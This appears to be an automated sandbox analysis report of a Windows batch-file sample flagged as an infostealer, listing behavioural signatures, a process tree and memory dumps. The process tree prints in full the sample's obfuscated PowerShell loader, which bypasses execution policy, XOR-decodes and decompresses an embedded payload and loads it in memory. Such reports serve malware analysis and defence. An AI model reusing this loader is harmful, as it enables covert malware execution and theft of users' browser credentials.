Analysis
- max time kernel
105s - max time network
106s - platform
windows11-21h2_x64 - resource
win11-20250502-en - resource tags
- submitted
07/06/2025, 21:56
General
- Target 38085ad40d5f9a645b37ed21f8a032698d6630518f1ac2a875c88cfd920327ac.bat
- Size 303KB
- Sample250607-1tg3ca1ry5
- SHA256 38085ad40d5f9a645b37ed21f8a032698d6630518f1ac2a875c88cfd920327ac
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks processor information in registry 2 TTPs 7 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\38085ad40d5f9a645b37ed21f8a032698d6630518f1ac2a875c88cfd920327ac.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\38085ad40d5f9a645b37ed21f8a032698d6630518f1ac2a875c88cfd920327ac.bat.exe"38085ad40d5f9a645b37ed21f8a032698d6630518f1ac2a875c88cfd920327ac.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_heAou = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\38085ad40d5f9a645b37ed21f8a032698d6630518f1ac2a875c88cfd920327ac.bat').Split([Environment]::NewLine);foreach ($_CASH_Tnqps in $_CASH_heAou) { if ($_CASH_Tnqps.StartsWith(':: @')) { $_CASH_zHYrw = $_CASH_Tnqps.Substring(4); break; }; };$_CASH_zHYrw = [System.Text.RegularExpressions.Regex]::Replace($_CASH_zHYrw, '_CASH_', '');$_CASH_BIQWU = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_zHYrw);$_CASH_QwNiu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6tqrBmX1zrax2Cb4WHExxqLsc6tXDM9Ti3yfll2WSzw=');for ($i = 0; $i -le $_CASH_BIQWU.Length - 1; $i++) { $_CASH_BIQWU[$i] = ($_CASH_BIQWU[$i] -bxor $_CASH_QwNiu[$i % $_CASH_QwNiu.Length]); };$_CASH_jrqMN = New-Object System.IO.MemoryStream(, $_CASH_BIQWU);$_CASH_eDovn = New-Object System.IO.MemoryStream;$_CASH_gaysI = New-Object System.IO.Compression.GZipStream($_CASH_jrqMN, [IO.Compression.CompressionMode]::Decompress);$_CASH_gaysI.CopyTo($_CASH_eDovn);$_CASH_gaysI.Dispose();$_CASH_jrqMN.Dispose();$_CASH_eDovn.Dispose();$_CASH_BIQWU = $_CASH_eDovn.ToArray();$_CASH_gLEpe = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_BIQWU);$_CASH_PIBwy = $_CASH_gLEpe.EntryPoint;$_CASH_PIBwy.Invoke($null, (, [string[]] ('')))2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "2648" "2740" "2704" "2736" "0" "0" "2744" "0" "0" "0" "0" "0"3⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
38085ad40d5f9a645b37ed21f8a032698d6630518f1ac2a875c88cfd920327ac.bat.exe
__PSScriptPolicyTest_sblt5q5g.3uz.ps1
memory/2648-4-0x00007FF905133000-0x00007FF905135000-memory.dmp
memory/2648-13-0x0000027E45C20000-0x0000027E45C42000-memory.dmp
memory/2648-14-0x00007FF905130000-0x00007FF905BF2000-memory.dmp
memory/2648-15-0x00007FF905130000-0x00007FF905BF2000-memory.dmp
memory/2648-16-0x00007FF905130000-0x00007FF905BF2000-memory.dmp
memory/2648-17-0x0000027E45FA0000-0x0000027E461F2000-memory.dmp
memory/2648-19-0x0000027E45CB0000-0x0000027E45CDA000-memory.dmp
memory/2648-20-0x0000027E45D00000-0x0000027E45D1A000-memory.dmp
memory/2648-29-0x00007FF905130000-0x00007FF905BF2000-memory.dmp